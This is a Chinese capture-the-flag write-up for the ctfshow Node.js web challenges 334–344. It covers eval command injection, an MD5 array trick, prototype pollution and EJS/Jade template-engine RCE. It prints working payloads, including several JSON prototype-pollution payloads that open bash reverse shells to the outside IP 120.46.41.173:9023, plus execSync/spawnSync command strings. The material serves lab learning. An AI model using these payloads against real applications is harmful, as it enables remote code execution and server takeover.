Ctfshow web入门 nodejs篇 web334-web344

这篇具有很好参考价值的文章主要介绍了Ctfshow web入门 nodejs篇 web334-web344。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CTFshow NodeJs web334

前言:做原型链污染,入门的话个人建议先看看P神的文章,只看前四部分就行了。

深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)

然后也得有一点js基础,不用太多,要不然看起来属实费劲。

建议看一下《Javascript百炼成仙》,有点小贵,也可以直接看知识点整理

(6条消息) 《JavaScript百炼成仙》 全书知识点整理_剽悍一小兔的博客-CSDN博客

当然也可以硬吃菜鸟等教程。

本篇wp,在模板引擎污染并未解释原理,只打了一个payload,是的,我菜。不过确实一开始学就一步一步调试跟进代码去理解模板引擎污染太费时费力也不好理解,先理解基础的原型链污染,让时间帮自己沉淀一下再去细看更深的知识个人感觉是一个高效的方式。

Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器而不是某种库。

Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。

源码:

//login.js

var express = require('express');              //引入各个模块
var router = express.Router();
var users = require('../modules/user').items;   //引入用户模块(user.js)
 
var findUser = function(name, password){          //定义函数
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });       //如果name不等于CTFSHOW,并且将name都转为大写与item.name(CTFSHOW)相同,password=123456。则findUser返回true  //toUpperCase()是javascript中将小写转换成大写的函数。
};

/* GET home page. */
router.post('/', function(req, res, next) {                 //POST请求的处理函数
  res.type('html');                                //设置响应(res)的内容类型为html
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});   //登录成功返回flag
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;   //通过module.exports将该路由模块导出,以便在其他文件中引入和使用
//user.js

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

//这段代码是一个模块文件,通过`module.exports`将一个对象导出。
//在这个模块中,导出的对象是一个包含一个属性`items`的对象。`items`属性是一个数组,包含了一个用户对象。这个用户对象有两个属性:`username`表示用户名为"CTFSHOW",`password`表示密码为"123456"。

//通过这种方式,其他文件可以引入该模块并访问`items`数组中的用户对象,用于验证用户的登录信息。
payload:
ctfshow
123456

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

CTFshow NodeJs web335

没东西。查看源码。

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

知道从哪里下手了。

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

这题的代码可能是这样:
eval('console.log(xxx)')

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。

?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('cat f*')
?eval=require('child_process').execSync('ls').toString()
?eval=require('child_process').execSync('cat fl00g.txt').toString()

?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()  //不能通配符

?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

CTFshow NodeJs web336

过滤了exec,还有一个同步子进程的函数

require("child_process")['exe'%2B'cSync']('ls')  //拼接绕过

?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()  //不能通配符

?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

别人的wp

传?eval=__filename可以看到路径为/app/routes/index.js

然后传?eval=require(‘fs’).readFileSync(’/app/routes/index.js’,‘utf-8’)可以发现过滤了exec和load //没实现

__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。
__dirname 表示当前执行脚本所在的目录。

?eval=require(‘fs’).readdirSync(‘.’) //ls
?eval=require(‘fs’).readFileSync(‘fl001g.txt’,‘utf-8’) //读取文件

Y4师傅博客里的一种绕过方法。

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

CTFshow NodeJs web337

题目直接给了源码。

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag))要求我们传参a,b。然后a,b长度一样,然后a不等于b,然后两者加了flag的md5编码一样。

注意一下node.js中的拼接问题:

console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

所有可能的payload:

?a[a]=x&b[b]=x
?a[a]=1&b[b]=2

?a[x]=1&b[x]=1
?a[x]=1&b[x]=2

?a[:]=1&b[:]=1
?a[:]=1&b[:]=2

a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同

这里只需要满足中括号里面是非数字就行,关于它们的值相不相同,长度一不一样都不重要

?a[]=x&b[]=x

数组传过去,req.query.a到底得到的是什么。如果这样:a[]=1&b[]=2
Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全
得到的正好就是数组。这时候就相当于需要['1']+flag===['2']+flag。是不成立的

?a[]=x&b=x

[‘a’]+flag= = =‘a’+flag,比如flag是flag{123},那么最后得到的都是aflag[123},因此这个也肯定成立:md5([‘a’]+flag)= = =md5(‘a’+flag),同时也满足a!==b

所以:像[‘a’]+flag= = =‘a’+flag这样的,比如flag是flag{345},那么最后得到的都是aflag[345},因此这个也肯定成立:md5([‘a’]+flag)= = =md5(‘a’+flag),同时也满足a!==b:

?a[0]=1&b[0]=1

?a[0]=1&b[0]=2 不行

但是如果传a[0]=1&b[0]=2,相当于创了个变量a=[1] b=[2],再像上面那样打印的时候,会打印出1flag{xxx}和2flag{xxx},md5不相等

CTFshow NodeJs web338

这题是原型链污染,参考资料在edge收藏夹里面。

11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

prototype__proto__分别是什么?

function Foo() {
    this.bar = 1
}

Foo.prototype.show = function show() {
    console.log(this.bar)
}

let foo = new Foo()
foo.show()
(实例对象)foo.__proto__ == (类)Foo.prototype
  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222

JavaScript原型链继承

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()          //继承

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:很重要

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:

1.每个构造函数(constructor)都有一个原型对象(prototype)

2.对象的__proto__属性,指向类的原型对象prototype

3.JavaScript使用prototype链实现继承机制

333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333

原型链污染是什么

前面说到,foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

做个简单的实验:

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1(在对象foo中寻找bar,能找到)
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar,返回2。(在对象zoo中寻找bar,找不到,则在zoo.__proto__即Object里面找,能找到)
console.log(zoo.bar)

最后,虽然zoo是一个对象{},但zoo.bar的结果居然是2:

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444

哪些情况下原型链会被污染?

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

以对象merge为例,我们想象一个简单的merge函数:

//函数接受两个参数:`target` 表示目标对象,`source` 表示源对象。
function merge(target, source) {
    for (let key in source) {
        //对于每个属性 `key`,首先检查该属性是否同时存在于源对象和目标对象中。
        if (key in source && key in target) {
            //如果该属性同时存在于源对象和目标对象中,表示需要进一步合并它们的值。这里通过递归调用 `merge` 函数来实现,传入对应的目标属性和源属性作为参数。
            merge(target[key], source[key])
        } else {
            //若该属性只存在于源对象中,或者只存在于目标对象中,直接将源对象的属性值赋给目标对象的对应属性。
            target[key] = source[key]
        }
    }
}

//通过这个 `merge` 函数,可以将源对象中的属性合并到目标对象中,如果属性名称在目标对象中已存在,则进行深度合并。这对于合并两个对象的属性非常有用,特别是在处理嵌套对象的情况下。

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

我们用如下代码实验一下:

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

结果是,合并虽然成功了,但原型链没有被污染:

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

那么,如何让__proto__被认为是一个键名呢?

我们将代码改成如下:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

可见,新建的o3对象,也存在b属性,说明Object已经被污染:

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

看看题目

和334一样的界面。

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

核心源码

common.js

module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');        //导入common文件模块



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

这里的copy()很像merge(),一眼原型链污染。

思路:

可以看到,如果secert.ctfshow==='36dboy'那我就能得到flag。secert类为空,直接继承了Object类,user也是。所以secert类中没有ctfshow,我们可以通过user污染Object类,在Object类里面加一个ctfshow。判断secert.ctfshow==='36dboy'时,找不到ctfshow,会从Object里面找。

参考上面P神给的payload:{"a": 1, "__proto__": {"b": 2}}

我们根据此题把payload修改为{"a": 1, "__proto__": {"ctfshow": "36dboy"}}

抓个包先,直接登录框输入不行

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

把参数修改为我的payload,得到flag。

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

CTFshow NodeJs web339

源码直接给了

app.js

// 导入所需模块
var createError = require('http-errors');  // 处理 HTTP 错误的模块
var express = require('express');  // Express 框架模块
var ejs = require('ejs');  // EJS 模板引擎模块
var path = require('path');  // 路径处理模块
var cookieParser = require('cookie-parser');  // 解析 Cookie 的模块
var logger = require('morgan');  // HTTP 请求日志记录模块
var session = require('express-session');  // Express 会话管理模块
var FileStore = require('session-file-store')(session);  // 会话存储模块

// 导入路由模块
var indexRouter = require('./routes/index');  // 主页路由模块
var loginRouter = require('./routes/login');  // 登录路由模块
var apiRouter = require('./routes/api');  // API 路由模块

var app = express();  // 创建 Express 应用程序实例

// 会话设置
var identityKey = 'auth';  // 会话标识键名

app.use(session({
  name: identityKey,  // 设置会话名称
  secret: 'ctfshow_session_secret',  // 会话密钥,用于加密会话数据
  store: new FileStore(),  // 会话存储方式为文件存储
  saveUninitialized: false,  // 不保存未初始化的会话
  resave: false,  // 不强制保存会话
  cookie: {
    maxAge: 60 * 60 * 1000  // 会话有效期,单位是毫秒
  }
}));

// 视图引擎设置
app.set('views', path.join(__dirname, 'views'));  // 设置视图文件夹路径
app.engine('html', require('ejs').__express);  // 使用 EJS 模板引擎
app.set('view engine', 'html');  // 设置视图引擎为 EJS

app.use(logger('dev'));  // 使用日志记录中间件
app.use(express.json());  // 解析请求体中的 JSON 数据
app.use(express.urlencoded({ extended: false }));  // 解析请求体中的 URL 编码数据
app.use(cookieParser());  // 使用 Cookie 解析中间件
app.use(express.static(path.join(__dirname, 'public')));  // 设置静态资源目录

app.use('/', indexRouter);  // 使用主页路由
app.use('/login', loginRouter);  // 使用登录路由
app.use('/api',apiRouter);  // 使用 API 路由

// 捕获 404 错误并转发到错误处理程序
app.use(function(req, res, next) {
  next(createError(404));
});

// 错误处理程序
app.use(function(err, req, res, next) {
  // 设置本地变量,仅在开发环境下提供错误信息
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // 渲染错误页面
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;  // 导出应用程序实例

common.js

module.exports = {
  copy:copy
};
//类似于merge函数,存在原型链污染漏洞
function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

api.js(关键代码)

//使用 Express 框架的路由文件

//在这部分代码中,首先引入了 express 模块,然后创建了一个路由对象 router。
var express = require('express');
var router = express.Router();
//引入了一个名为 utils(var utils) 的自定义工具模块。
var utils = require('../utils/common');



/* GET home page.  */
//通过 router.post() 方法定义了一个 POST 请求的处理函数,路径为 '/'。
router.post('/', require('body-parser').json(),function(req, res, next) {
  //通过 res.type('html') 设置响应的内容类型为 HTML。
  res.type('html');
  //然后,通过 res.render() 方法渲染名为 'api' 的视图模板,并传递一个包含 query 属性的对象作为参数。这里使用了 Function(query) 来创建一个函数,并立即调用该函数并传递 query 作为参数。这样做可能是为了在视图模板中使用 query 变量。
  res.render('api', { query: Function(query)(query)});       //函数名query,参数query
});

//通过 module.exports 将 router 对象导出,以便在其他文件中引入和使用。
module.exports = router;

index.js

var express = require('express');
var router = express.Router();

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  res.render('index', { title: 'Express' });
});

module.exports = router;

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
  this.username='';
  this.password='';
}
function normalUser(){
  this.user
}


/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

和上一题的区别在于,上一题判断语句是if(secert.ctfshow= = =‘36dboy’),这题是if(secert.ctfshow= = =flag),但是变量flag的值我们不知道,所以不能使用上一题的payload污染原型修改secert.ctfshow。

通过 login.js 里的 utils.copy(user,req.body); 污染原型,然后访问 api 的时候由于 query未定义,所以会向其原型找,那么通过污染原型构造恶意代码即可rce。

因为所有变量的最顶层都是object,当前环境没有y4tacker,它会直接去寻找Object对象的属性当中是否有y4tacker这个键值对是否存在

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

原型污染以后 login.js 就不能正常运行了,所以payload使用反弹shell。

payload:(抓包改包)

监听9023端口nc -lvvp 9023

{"__proto__":{"query":"return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"')"}}

或者

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"')"}}

先在/login页面POST一下进行变量覆盖,再在/api界面直接POST访问即可

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

非预期:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"');var __tmp2"}}
//接着post访问api.js就可以反弹shell了

我们做题时,如果污染错了,要及时重开环境。 一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。这将导致一些正常的业务出现bug

具体原理请看:

https://yq1ng.github.io/2020/12/31/ctfshow-nodejs-zhuan-ti/#web339

CTFshow NodeJs web340

源码都给了,这次只放和上题不一样的部分。

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  //user.userinfo.isAdmin原本就存在,不会向上找,修改Object.isAdmin无用
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

module.exports = router;

user.userinfo.isAdmin不存在,但是user.isAdmin存在,向上找时,找到user.userinfo的上一级user就获得了isAdmin属性,不会再回溯到user的上一级Object,所以修改Object.isAdmin无用。

所以直接原型链污染属性isAdmin行不通

就算我们污染了,代码中应该是这样的。

if(user.userinfo.isAdmin)语句判断

user.userinfo对象没有isAdmin属性。
user对象有isAdmin属性,值是false。
就不会去上层Object对象寻找isAdmin属性。

因为子类不能污染父类已经存在的属性,只能新增属性。所以不能修改已存在的user.isAdmin,不能满足if语句。

上一题从secert对象进行污染,secert对象上一级就是object,所以污染一次就行了。

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"');var __tmp2"}}

这一题从userinfo对象进行污染,userinfo对象上一级是user对象,user对象上一级就是object,所以需要污染两次。

payload:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"')"}}}

记得POST发包调成json格式。

环境变量中找到flag

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

CTFshow NodeJs web341

先下一个叫snyk的工具

进kali,sudo su进入root用户

apt install npm 下载npmCtfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

sudo npm install -g snyk 安装snyk

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

snyk auth进行授权,会自动跳转到一个网页,我选的是github授权。

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

如果github上不去的话,物理机上面科学上网开个全局就行了,这样虚拟机也能用。

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

snyk test 测试一下snyk能不能用了

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

snyk --help 查看snyk常用命令,结束!

参考博客:(4条消息) Snyk 依赖性安全漏洞扫描工具_易爻64的博客-CSDN博客

接下来继续做题。

先把源码下载下来。

cd进源码目录,snyk test使用snyk进行漏洞扫描

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

可以发现这题确实存在ejs模板引擎漏洞。

payload直接打了:(记得POST包发json格式)

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"');var __tmp2"}}}

随便访问页面就能监听到。

环境变量找到flag

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

CTFshow NodeJs web342

初始界面:
Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

payload:(json)

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"');//"}}}
 
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"')"}}}

还是一样去环境变量里面找。

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

CTFshow NodeJs web343

题目描述说342基础上增加了过滤

但是payload还是不变,同342。

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

CTFshow NodeJs web344

直接给了源码。

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true)进行了判断,满足条件就返回flag。

var query = JSON.parse(req.query.query)表示query对象是由get请求传入的json字符串

所以我们的payload应该是:

?query={"name":"admin","password":"ctfshow","isVIP":true}

但是题目过滤了逗号和2c(%2c是逗号的url编码),所以我们用&替换逗号。Nodejs中会把这三部分拼接起来。

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

但是传入payload之后却没有回显flag

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全

因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。

所以我们传入的时候,把payload中的c手动url编码一次。

payload:

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

Ctfshow web入门 nodejs篇 web334-web344,CTFSHOW web入门 wp合集,web安全文章来源地址https://www.toymoban.com/news/detail-595291.html

到了这里,关于Ctfshow web入门 nodejs篇 web334-web344的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ctfshow misc入门wp

    目录 图片篇(基础操作) misc1 misc2 misc3 misc4 图片篇(信息附加) misc5 misc6 misc7 misc8 ​misc9 misc10 misc11 misc12 ​misc13 misc14 misc15 misc16 misc17 misc18 misc19 misc20 misc21 misc22 misc23 misc41 图片篇(文件结构) misc24 misc25 misc26 misc27 misc28 misc29 misc30 ​misc31 misc32 misc33 misc34 misc35 misc36 ​misc37

    2024年02月03日
    浏览(37)
  • ctfshow愚人杯-web-wp

    鄙人不才,可惜这里只做出了4道相对简单的web题(悲) 哈哈哈,不愧是愚人杯,刚开始时脑子真没反应过来 flag就是“一个不能说的密码”,绝了,我还以为flag是“群主喜欢36d”(bushi) 题目: 可以看到url里有一个img=xxx xxx为十六编码 我们试一下用index.php转换为base64: aW

    2023年04月16日
    浏览(38)
  • CTFshow web入门---web56

    题目: 题目分析: 查看本题,发现本题为命令执行类题目,但是有一个很致命的点,那么就是他过滤了所有的字母和数字,以及一系列的符号。因此本题最值得推敲的点就是如何实现 无字母数字的命令执行 通过拜读P神的一篇文章,其中《无字母数字webshell之提高篇》讲到了

    2023年04月22日
    浏览(40)
  • ctfshow web入门 web141-145

    1.web141 ^w+$表示在开头和末尾匹配字母数字_,传入的v3值不能有字母数字_,即无字母的命令执行 php中1-phpinfo()是可以执行的,加减乘除都可以实现 这里或,异或,取反等运算都可以 这里采用羽师傅的异或脚本生成payload payload: 2.web142 payload: 3.web143 过滤了取反,+,-等符号,还可

    2024年02月22日
    浏览(67)
  • ctfshow--web入门--文件上传

    目录 ctfshow--web入门--文件上传 web151(前端校验) web152(content-type) web153(.user.ini) web154(内容检测\\\'php\\\') web155(内容检测\\\'php\\\') web156(内容检测\\\'[\\\') web157(内容检测\\\'php\\\'\\\'[]\\\'\\\'{}\\\'\\\';\\\') web158(文件检测\\\'php\\\'\\\'{\\\'\\\'[\\\'\\\';\\\'\\\'log\\\') web159(日志包含) web160(日志空格检测) web161(日志文件头检测) web162web163(session包含) w

    2024年02月14日
    浏览(32)
  • CTFShow-Web入门

    web1 解题思路: 查看源代码 web2 解题思路: 在无法查看源代码的情况下可以使用快捷键 web3 解题思路: 查看源代码无效,尝试发送POST请求 web4 解题思路: 根据题目提示: 总有人把后台地址写入robots,帮黑阔大佬们引路。 找到了flag的路径 web5 解题思路: 根据题目提醒phps源码泄露,访

    2024年02月12日
    浏览(35)
  • ctfshow web入门 爆破 21-28

    刚进去就要求我们登录,这里题目给了我们一个字典,就是这个字典为什么他那么多数字中 就一个字母的密码还不明显吗。   这里我们使用burp拦包,这里没有发现登录的账号密码,但是有一串可疑的字符串,尝试base64解密 这我们就得到了,我们测试用的账号密码了,这里将

    2024年02月01日
    浏览(31)
  • ctfshow web入门 sql注入

    sql注入分为多种类型的注入,我将对ctfshow web入门的sql入门进行题目分类,并在最后对每种sql注入做一下总结; 本题类型 联合注入 第一种方法 万能密码  第二种方法 联合注入 这是按照数据库中有3个数据库进行,因为题目一般为3,当然也可以使用查询语句进行查询,语句如

    2024年02月21日
    浏览(31)
  • ctfshow新手杯wp

    最近国庆在疯玩的时候抽空做了几题,简单记录一下。 打开题目发现,点击不了,打开F12控制台发现flag: 题目是一个带密码的压缩包,提示说密码为纯大小写。用工具爆破了一下午没有结果,本来干脆不做了,后面打开文件发现备注:阿尼亚会PINyin:哇库哇库! 直接尝试出

    2023年04月25日
    浏览(42)
  • CTFshow-菜狗杯WP

    经过了48小时的奋战,在这次比赛中成功拿下4400分,同时也发现了自己的许多不足; 杂项签到 下载附件后进行解压,发现是一张图片,通过二进制查看工具(WinHex/010 Editor)打开该图片,Ctrl+F搜索文本\\\"ctfshow\\\",即可发现: ctfshow{a62b0b55682d81f7f652b26147c49040} 损坏的压缩包 通过

    2024年02月08日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包